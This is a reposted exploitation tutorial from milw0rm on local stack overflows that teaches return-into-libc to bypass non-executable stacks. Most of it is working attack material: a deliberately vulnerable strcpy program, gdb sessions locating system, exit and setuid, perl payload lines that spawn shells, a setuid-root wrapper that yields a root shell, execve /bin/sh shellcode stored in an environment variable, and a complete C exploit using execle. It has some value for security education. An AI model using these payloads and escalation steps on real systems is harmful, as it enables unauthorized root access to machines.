Local Stack Overflow(Advanced Module)

Local Stack Overflow (Advanced Module)

 

---------[ Chapter : 0x200                                                            ]

---------[ Subject : Local Stack Overflow (AdvcancedModule)    ]

---------[ Author : xgc/dx A.K.A Thyago Silva                              ]

---------[ Date   : 09/10/2005                                                       ]

---------[ Version : 2.1                                                                 ]

 

 

|=-----------------------------------------------------------------------------=|

 

---------[ Table of Contents ]

 

  0x210 -Objective

  0x220 -Requisites

  0x230 -Introduction to Returning Into Libc

  0x240 -Introduction to System Function

  0x250 -Analysis of Vulnerable Source Code

  0x260 -Getting Informations

  0x270 -Returning Into System Function

  0x280 - SetuidCall

  0x290 - UsingWrapper

  0x2a0 - UsingEnvironment to Small Buffers

  0x2b0 -Analisys of Exploit Source C Code

  0x2c0 -Conclusion

 

|=-----------------------------------------------------------------------------=|

 

---------[ 0x210 - Objective ]

 

Execute code when the stack has enable to don'texecute code.

Execute code when buffer isn't big enough for theshellcode.

 

 

---------[ 0x220 - Requisites ]

 

Introduction to Local Stack Overflow (Basic Module).

 

 

---------[ 0x230 - Introduction to Returning Into Libc]

 

Most applications never need to execute anything onthe stack, so an obvious defense

against buffer overflow exploits is to make the stacknon-executable. When this is done,

shellcode existing anywhere on the stack is basicallyuseless.

 

This type of defense will stop the majority ofexploits out there, and it is becoming more

popular. The latest version of OpenBSD has anon-executable stack by default.

Of course, there is a corresponding technique that canbe used to exploit programs in an

environment with a non-executable stack. Thistechnique is known as returning into libc.

 

Libc is a standard C library that contains variousbasic functions, like printf() and exit().

These functions are shared, so any program that usesthe printf() function directs execution

into the appropriate location in libc. An exploit cando the exact same thing and direct a

program's execution into a certain function in libc.The functionality of the exploit is

limited by the functions in libc, which is asignificant restriction when compared to

arbitrary shellcode. However, nothing is ever executedon the stack.

 

 

---------[ 0x240 - Introduction to System Function ]

 

A point of interest is how to get the argument tosystem function. Essentially, what we do

is pass a pointer to the string (/bin/sh) we wantexecuted. We know that normally when a

program executes a function the arguments get pushedonto the stack in reverse order.

It is what happens next that is of interest to us andwill allow us to pass parameters to

system function.

 

First, a CALL instruction is executed. This CALL willpush the address of the next instruction

(where we want to return to) onto the stack. It willalso decrement ESP by 4. When we return from

a function called, RET (or EIP) will be popped off thestack. ESP is then set to the address

directly following RET.

 

Now comes the actual return to system function. Calledfunction assumes that ESP is already

pointing to the address that should be returned to. Itis going to also assume that the

parameters are sitting there waiting for it on thestack, starting with the first argument

following RET. This is normal stack behavior describedat basic module. We set the return to

system function and the argument (in our example, thiswill be a pointer to /bin/sh) in those

8 bytes. When Called function returns, it will returninto system function, and its has our

values waiting for it on the stack.

 

Now you need to understand the basics of thetechnique. Let.s take a look at the preparatory

work we must accomplish in order to make a Return tolibc exploit via system function:

 

   1. Get theaddress of system().

   2. Get theaddress of exit().

   3. Get theaddress of string "/bin/sh".

 

 

---------[ 0x250 - Analysis of Vulnerable Source Code]

 

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

 

int main(int argc, char *argv[]) {

 

  char buff[4];

 

  if(argc != 2){

   printf("Needs an argument!\n");

    exit(-1);

  }

 

  strcpy(buff,argv[1]);

 

  return 1;

}

 

This program allows anybody, who exceeds the bounds ofthe variable buff, to overwrite

data on the stack. It would usually be quite easy towrite an exploit for the above example

program, but let's assume that at our system wasenabled a non-executable stack as a security

measure.

 

 

---------[ 0x260 - Getting Informations ]

 

The location of the system and exit functions in libcmust be determined. This will be different

for every system, but once the location is known, itwill remain the same until libc is recompiled.

One of the easiest ways to find the location of a libcfunction is to create a simple dummy program

and debug it.

 

#include <stdio.h>

 

int main() {

 

  return 1;

}

 

 

[xgc@knowledge:~]$ gcc -o dummy dummy.c -Wall

[xgc@knowledge:~]$ gdb ./dummy -q

Using host libthread_db library"/lib/libthread_db.so.1".

(gdb) break main

Breakpoint 1 at 0x804835a

(gdb) run

Starting program: /home/xgc/dummy

 

Breakpoint 1, 0x0804835a in main ()

(gdb) print system

$1 = {<text variable, no debug info>} 0x4005b810<system>

(gdb) print exit

$2 = {<text variable, no debug info>} 0x40046b00<exit>

(gdb)

 

I ran gdb ready to debug our dummy program, and toldto report breakpoint before running the

dummy program. By examining the report, I get the location of the libc function systemand

exit in memory. However, we still need to know how wecan store the string "/bin/sh" in memory

and ultimately reference it whenever needed.

 

Maybe we could use an environmental variable to holdthe string? Yes, an environmental variable

would be ideal for this task, so let's create and usean environment variable called KNOWLEDGE to

store our string ("/bin/sh"). But how are wegoing to know the memory address of our environment

variable and our string ? We can write a simpleutility program to grab the memory address of the

environmental variable. Consider the following code:

 

#include <stdio.h>

#include <stdlib.h>

 

int main(int argc, char *argv[]) {

 

  char *pointer;

 

  if(argc != 2){

   printf("Usage: %s <variable>\n", argv[0]);

    exit(-1);

  }

 

  pointer =getenv(argv[1]);

 

  if(pointer ==NULL) {

   printf("Environmental variable %s does not exist!\n",argv[1]);

    exit(-1);

   }

 

  printf("%sis stored at address 0x%08x\n", argv[1], pointer);

 

  return 1;

}

 

[xgc@knowledge:~]$ exportKNOWLEDGE="/bin/sh"

[xgc@knowledge:~]$ gcc -o catch catch.c

[xgc@knowledge:~]$ ./catch KNOWLEDGE

KNOWLEDGE is stored at address 0xbfffffe2

[xgc@knowledge:~]$

 

So now, we have all necessary informations to exploitthe vulnerable source code given.

The layout of our malicious buffer will looks like:

 

      |-------------------------------|-------------|------------|------------|

      |   data to overflow buffer     |   &system   |  &exit    |   /bin/sh |

      |-------------------------------|-------------|------------|------------|

 

We choice exit address becouse this will be wheresystem call returns. It's just for

a clean exploit effect.

 

 

---------[ 0x270 - Returning Into system function ]

 

With the informations, now we need to:

 

   1. Fill thevulnerable buffer up to the return address with garbage data;

   2. Overwritethe return address with the address of system();

   3. Followsystem() with the address of exit(),

   4. Append theaddress of "/bin/sh" string.

 

[xgc@knowledge:~]$ gcc -o adv_stack adv_stack.c -Wall

[xgc@knowledge:~]$ gdb ./adv_stack -q

Using host libthread_db library"/lib/libthread_db.so.1".

(gdb) run `perl -e 'print "A"x10'`

Starting program: /home/xgc/adv_stack `perl -e 'print"A"x10'`

 

Program received signal SIGSEGV, Segmentation fault.

0x40004141 in _dl_dst_substitute () from/lib/ld-linux.so.2

(gdb) run `perl -e 'print "A"x12'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

 

Starting program: /home/xgc/adv_stack `perl -e 'print"A"x12'`

 

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb)

 

 

EIP register was overwrite with buffer size: 12bytes.

 

So, process layout will looks like:

 

|---------------------------|----------------|--------------|--------------|

|            08A's         |   0x4005b810  |  0x40046b00  | 0xbfffffe2  |

|---------------------------|----------------|--------------|--------------|

                    args        EBP           EIP

 

 

[xgc@knowledge:~]$ gdb ./adv_stack -q

Using host libthread_db library"/lib/libthread_db.so.1".

(gdb) disassemble main

Dump of assembler code for function main:

0x080483f4 <main+0>:    push  %ebp

0x080483f5 <main+1>:    mov   %esp,%ebp

0x080483f7 <main+3>:    sub   $0x18,%esp

0x080483fa <main+6>:    and   $0xfffffff0,%esp

0x080483fd <main+9>:    mov   $0x0,%eax

0x08048402 <main+14>:   sub   %eax,%esp

0x08048404 <main+16>:   cmpl  $0x2,0x8(%ebp)

0x08048408 <main+20>:   je    0x8048422 <main+46>

0x0804840a <main+22>:   movl  $0x8048554,(%esp)

0x08048411 <main+29>:   call  0x80482f8 <_init+56>

0x08048416 <main+34>:   movl  $0xffffffff,(%esp)

0x0804841d <main+41>:   call  0x8048308 <_init+72>

0x08048422 <main+46>:   mov   0xc(%ebp),%eax

0x08048425 <main+49>:   add   $0x4,%eax

0x08048428 <main+52>:   mov   (%eax),%eax

0x0804842a <main+54>:   mov   %eax,0x4(%esp)

0x0804842e <main+58>:   lea   0xfffffffc(%ebp),%eax

0x08048431 <main+61>:   mov   %eax,(%esp)

0x08048434 <main+64>:   call  0x8048318 <_init+88>

0x08048439 <main+69>:   mov   $0x1,%eax

0x0804843e <main+74>:   leave

0x0804843f <main+75>:   ret

---Type <return> to continue, or q<return> to quit---

End of assembler dump.

(gdb) break *main+75

Breakpoint 1 at 0x804843f

(gdb) display/1i $eip

(gdb) run testing.

Starting program: /home/xgc/adv_stack testing.

 

Breakpoint 1, 0x0804843f in main ()

1: x/i $eip 0x804843f <main+75>:      ret

(gdb) run testing.

The program being debugged has been started already.

Start it from the beginning? (y or n) y

 

Starting program: /home/xgc/adv_stack testing.

 

Breakpoint 1, 0x0804843f in main ()

1: x/i $eip 0x804843f <main+75>:      ret

(gdb) x/s 0xbffffffa-50

0xbfffffc8:     ".28.151.26 22"

(gdb)

0xbfffffd6:     "KNOWLEDGE=/bin/sh"

(gdb) x/s 0xbfffffd6+10

0xbfffffe0:     "/bin/sh"

(gdb) run `perl -e 'print"A"x8,"\x10\xb8\x05\x40","\x01\x6b\x04\x40","\xe0\xff\xff\xbf"'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

 

Starting program: /home/xgc/adv_stack `perl -e 'print"A"x8,"\x10\xb8\x05\x40","\x01\x6b\x04\x40",

"\xe0\xff\xff\xbf"'`

 

Breakpoint 1, 0x0804843f in main ()

1: x/i $eip 0x804843f <main+75>:      ret

(gdb) continue

Continuing.

sh-2.05b$

 

 

---------[ 0x280 - Setuid Call ]

 

In a BugTraq post, Solar Designer suggested chaininglibc calls so a setuid() executes

before the system() call to restore privileges. Thischaining can be done by taking advantage

of the return address value that was previouslyignored. The following series of addresses will

chain a call from setuid() to system(), as shown inthis illustration.

 

|-----------------|-------------|-------------|---------------|---------------|

|     garbage    |   &setuid  |   &system   |  setuid_arg  |   system_arg |

|-----------------|-------------|-------------|---------------|---------------|

 

The setuid() call will execute with its argument.Because it's only expecting one argument,

the argument for the system() call will be ignored.After it's finished, execution will

return to the system() function, which will use itsargument as expected.

 

The idea of chaining calls is quite clever, but thereare other problems inherent in this

method of restoring privileges.

 

The setuid() argument is expecting an unsigned integervalue, so in order to restore root

level privileges, this value must be 0x00000000.Unfortunately, the buffer is still a string

that will be terminated by null bytes. Avoiding theuse of null bytes, the lowest value that

can be used for this argument is 0x01010101, which hasa decimal value of 16843009. While this

isn't quite the desired result, the concept ofchaining calls still important.

 

[xgc@knowledge:~]$ gdb ./dummy -q

Using host libthread_db library"/lib/libthread_db.so.1".

(gdb) break main

Breakpoint 1 at 0x804835a

(gdb) run

Starting program: /home/xgc/dummy

 

Breakpoint 1, 0x0804835a in main ()

(gdb) print setuid

$1 = {<text variable, no debug info>} 0x400c3850<setuid>

(gdb)

 

Now let's run again the program with informationsabout layout given:

 

[root@knowledge:/home/xgc]# chown root.root adv_stack

[root@knowledge:/home/xgc]# chmod +s adv_stack

[root@knowledge:/home/xgc]# exit

[xgc@knowledge:~]$ ./adv_stack `perl -e 'print

"A"x8,"\x50\x38\x0c\x40","\x10\xb8\x05\x40","\x01\x01\x01\x01","\xe2\xff\xff\xbf"'`

Segmentation fault

[xgc@knowledge:~]$ ./adv_stack `perl -e 'print

"A"x8,"\x50\x38\x0c\x40","\x10\xb8\x05\x40","\x01\x01\x01\x01","\xdc\xff\xff\xbf"'`

sh: line 1: in/sh: Permission denied

Segmentation fault

[xgc@knowledge:~]$ ./adv_stack `perl -e 'print

"A"x8,"\x50\x38\x0c\x40","\x10\xb8\x05\x40","\x01\x01\x01\x01","\xda\xff\xff\xbf"'`

sh-2.05b$ id

uid=16843009 gid=1000(xgc) egid=0(root)groups=1000(xgc)

sh-2.05b$

 

The address of the setuid() function is determined thesame way as before, and the chained

libc call is set up as described previously. Asexpected, the uid is set to 16843009, but this

is still far from a root shell. Somehow, a setuid(0)call must be made without terminating the

string early with null bytes.

 

 

---------[ 0x290 - Using Wrapper ]

 

One simple and effective solution is to create awrapper program. This wrapper will set the user ID (and group ID)

to 0 and then spawn a shell. This program doesn't needany special privileges, because the vulnerable suid root

program will be executing it.

 

#include <stdio.h>

#include <stdlib.h>

 

int main() {

 

  setuid(0);

  setgid(0);

 system("/bin/sh");

}

 

[xgc@knowledge:~]$ exportWRAPPER="./wrapper"

[xgc@knowledge:~]$ ./catch WRAPPER

WRAPPER is stored at address 0xbffffefa

[xgc@knowledge:~]$

 

So, process layout will looks like:

 

|---------------------------|----------------|--------------|--------------|

|            08A's         |   0x4005b810  |  0x40046b00  | 0xbffffef2  |

|---------------------------|----------------|--------------|--------------|

                    args        EBP           EIP

 

 

[xgc@knowledge:~]$ ./adv_stack `perl -e 'print"A"x8,"\x10\xb8\x05\x40","\x01\x6b\x04\x40","\xf2\xfe\xff\xbf"'`

sh-2.05b# id

uid=0(root) gid=0(root) groups=1000(xgc)

sh-2.05b#

 

 

---------[ 0x2a0 - Using Environment to Small Buffers]

 

Sometimes a buffer will be too small to even fitshellcode into. In this case, the shellcode

can be stashed in an environment variable. Environmentvariables are used by the user shell for

a variety of things, but the key point of interest isthat they are stored in an area of memory

that program execution can be redirected to. So if abuffer is too small to fit the NOP sled,

shellcode, and repeated return address, the sled andshellcode can be stored in an environment

variable with the return address pointing to thataddress in memory. Here is the vulnerable

piece of code, using a buffer that is too small forshellcode:

 

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

 

int main(int argc, char *argv[]) {

 

  char buff[4];

 

  if(argc != 2){

   printf("Needs an argument!\n");

    exit(-1);

  }

 

  strcpy(buff,argv[1]);

 

  return 1;

}

 

Because the buffer is only four bytes long, there isno space for shellcode to be inserted.

It must be stored elsewhere. One ideal candidate forholding the shellcode is an environment

variable.

 

execle() function has one additional argument, whichis the environment that the executing

process should run under. This environment ispresented in the form of an array of pointers to

null-terminated strings for each environment variable,and the environment array itself is

terminated with a null pointer.

 

This means that an environment containing shellcodecan be created by using an array of pointers,

the first of which points to the shellcode, and thesecond consisting of a null pointer.

 

Then the execle() function can be called using thisenvironment to execute the second vulnerable

program, overflowing the return address with theaddress of the shellcode. Luckily, the address of

an environment invoked in this manner is easy tocalculate. In Linux, the address will be 0xbffffffa,

minus the length of the environment, minus the lengthof the name of the executed program. Because

this address will be exact, there is no need for anNOP sled. All that's needed in the exploit buffer

is the address, repeated enough times to overflow thereturn address in the stack.

 

Of course, this technique can also be used without anexploit program. In the bash shell, environment

variables are set and exported using exportVARNAME=value. Using export, Perl, and a few pairs of

grave accents, the shellcode and a generous NOP sledcan be put into the current environment:

 

[xgc@knowledge:~]$ export SHELLCODE=`perl -e 'print"\x90"x10,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3

\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

 

Let's see where environment variable SHELLCODE islocated inside GDB:

 

[xgc@knowledge:~]$ gdb ./adv_stack -q

Using host libthread_db library"/lib/libthread_db.so.1".

(gdb) run `perl -e 'print "A"x12'`

Starting program: /home/xgc/adv_stack `perl -e 'print"A"x12'`

 

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) x/128bx $esp

0xbffffad0:    0x00    0x00    0x00   0x00    0x24    0xfb   0xff    0xbf

0xbffffad8:    0x30    0xfb    0xff   0xbf    0x30    0x83   0x04    0x08

0xbffffae0:    0x00    0x00    0x00   0x00    0xd0    0xbc   0x00    0x40

0xbffffae8:    0x74    0xbd    0x14   0x40    0xa0    0x6c   0x01    0x40

0xbffffaf0:    0x02    0x00    0x00   0x00    0x30    0x83   0x04    0x08

0xbffffaf8:    0x00    0x00    0x00   0x00    0x51    0x83   0x04    0x08

0xbffffb00:    0xf4    0x83    0x04   0x08    0x02    0x00   0x00    0x00

0xbffffb08:    0x24    0xfb    0xff   0xbf    0x40    0x84   0x04    0x08

0xbffffb10:    0xa0    0x84    0x04   0x08    0x80    0xc3   0x00    0x40

0xbffffb18:    0x1c    0xfb    0xff   0xbf    0x00    0x00   0x00    0x00

0xbffffb20:    0x02    0x00    0x00   0x00    0x07    0xfc   0xff    0xbf

0xbffffb28:    0x1b    0xfc    0xff   0xbf    0x00    0x00   0x00    0x00

0xbffffb30:    0x28    0xfc    0xff   0xbf    0x55    0xfc   0xff    0xbf

0xbffffb38:    0x65    0xfc    0xff   0xbf    0x70    0xfc   0xff    0xbf

0xbffffb40:    0x91    0xfc    0xff   0xbf    0xa4    0xfc   0xff    0xbf

0xbffffb48:    0xad    0xfc    0xff   0xbf    0xe2    0xfe   0xff    0xbf

(gdb)

0xbffffb50:    0xed    0xfe    0xff   0xbf    0xff    0xfe   0xff    0xbf

0xbffffb58:    0x39    0xff    0xff   0xbf    0x4c    0xff    0xff   0xbf

0xbffffb60:    0x58    0xff    0xff   0xbf    0x66    0xff   0xff    0xbf

0xbffffb68:    0x71    0xff    0xff   0xbf    0x7a    0xff   0xff    0xbf

0xbffffb70:    0x89    0xff    0xff   0xbf    0x91    0xff   0xff    0xbf

0xbffffb78:    0xa9    0xff    0xff   0xbf    0xb5    0xff   0xff    0xbf

0xbffffb80:    0x00    0x00    0x00   0x00    0x10    0x00   0x00    0x00

0xbffffb88:    0xbf    0xfb    0xe9   0x07    0x06    0x00   0x00    0x00

0xbffffb90:    0x00    0x10    0x00   0x00    0x11    0x00   0x00    0x00

0xbffffb98:    0x64    0x00    0x00   0x00    0x03    0x00   0x00    0x00

0xbffffba0:    0x34    0x80    0x04   0x08    0x04    0x00   0x00    0x00

0xbffffba8:    0x20    0x00    0x00   0x00    0x05    0x00   0x00    0x00

0xbffffbb0:    0x07    0x00    0x00   0x00    0x07    0x00   0x00    0x00

0xbffffbb8:    0x00    0x00    0x00   0x40    0x08    0x00   0x00    0x00

0xbffffbc0:    0x00    0x00    0x00   0x00    0x09    0x00   0x00    0x00

0xbffffbc8:    0x30    0x83    0x04   0x08    0x0b    0x00   0x00    0x00

(gdb)

0xbffffbd0:    0xe8    0x03    0x00   0x00    0x0c    0x00   0x00    0x00

0xbffffbd8:    0xe8    0x03    0x00   0x00    0x0d    0x00   0x00    0x00

0xbffffbe0:    0xe8    0x03    0x00   0x00    0x0e    0x00   0x00    0x00

0xbffffbe8:    0xe8    0x03    0x00   0x00    0x0f    0x00   0x00    0x00

0xbffffbf0:    0x02    0xfc    0xff   0xbf    0x00    0x00   0x00    0x00

0xbffffbf8:    0x00    0x00    0x00   0x00    0x00    0x00   0x00    0x00

0xbffffc00:    0x00    0x00    0x69   0x36    0x38    0x36   0x00    0x2f

0xbffffc08:    0x68    0x6f    0x6d   0x65    0x2f    0x78   0x67    0x63

0xbffffc10:    0x2f    0x61    0x64   0x76    0x5f    0x73    0x74   0x61

0xbffffc18:    0x63    0x6b    0x00   0x41    0x41    0x41   0x41    0x41

0xbffffc20:    0x41    0x41    0x41   0x41    0x41    0x41   0x41    0x00

0xbffffc28:    0x53    0x48    0x45   0x4c    0x4c    0x43   0x4f    0x44

0xbffffc30:    0x45    0x3d    0x90   0x90    0x90    0x90   0x90    0x90

0xbffffc38:    0x90    0x90    0x90   0x90    0x31    0xc0   0x50    0x68

0xbffffc40:    0x2f    0x2f    0x73   0x68    0x68    0x2f   0x62    0x69

0xbffffc48:    0x6e    0x89    0xe3   0x50    0x53    0x89   0xe1    0x99

(gdb) x/3s 0xbffffc18

0xbffffc18:     "ck"

0xbffffc1b:     'A' <repeats 12 times>

0xbffffc28:     "SHELLCODE=\220\220\220\220\220\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200"

(gdb) x/s 0xbffffc28+10

0xbffffc32:     "\220\220\220\220\220\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200"

(gdb)

 

After finding the address where the environmentvariable SHELLCODE is located, the command x/s is used to

examine just that string. But this address includesthe string "SHELLCODE=", so 16 bytes are added to the

address to provide an address that is locatedsomewhere in the NOP sled.

 

The debugger has revealed that the address 0xbffffc32is right near the beginning of the NOP sled, and

the shellcode is stored in the environment variableSHELLCODE. Armed with this knowledge, some more Perl,

the vulnerable program can be exploited, as follows.

 

[xgc@knowledge:~]$ ./adv_stack `perl -e 'print"\x32\xfc\xff\xbf"x3'`

sh-2.05b$

 

 

---------[ 0x2b0 - Analisys of Exploit Source C Code ]

 

Now let's check some exploit source C code:

 

#include <stdio.h>

#include <unistd.h>

#include <string.h>

#include <stdlib.h>

 

 

/* here is a shellcode variable */

 

char shellcode[] =

 

  "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"

  "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

 

 

int main() {

 

/* we already know that eip is overwritten with12bytes */

 

  char buff[12];

 

/* envp is an array of strings, conventionally of theform key=value, which are passed as environment

   to the newprogram. we've put shellcode there. */

 

  char *env[2] ={shellcode,NULL};

 

  int i,retaddr, *pointer;

 

/* here is our simple formula to get shellcodelocation */

 

  retaddr =0xbffffffa - strlen(shellcode) - strlen("./adv_stack");

 

/* build a loop to add return address many times intothe buff. (retx3) = 12bytes */

 

  pointer = (int*)(buff);

  for(i = 0; i< sizeof(buff); i += 4)

  *pointer++ =retaddr;

 

/* here execle executes the vulnerable source codewith buff and the env at envp */

 

 execle("./adv_stack", "adv_stack", buff, NULL, env);

 

  return 0;

}

 

[xgc@knowledge:~]$ gcc -o exploit exploit.c -Wall

[xgc@knowledge:~]$ ./exploit

sh-2.05b$

 

 

---------[ 0x2c0 - Conclusion ]

 

Methods if the buffer isn't big enough for theshellcode or if some Stack

protections are installed have been described. Withthat, codes not need to

be at stack memory and can be bypassed usingenvironmental variable address.

 

 

|=-----------------------------------------------------------------------------=|

 

# milw0rm.com [2006-03-09]

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值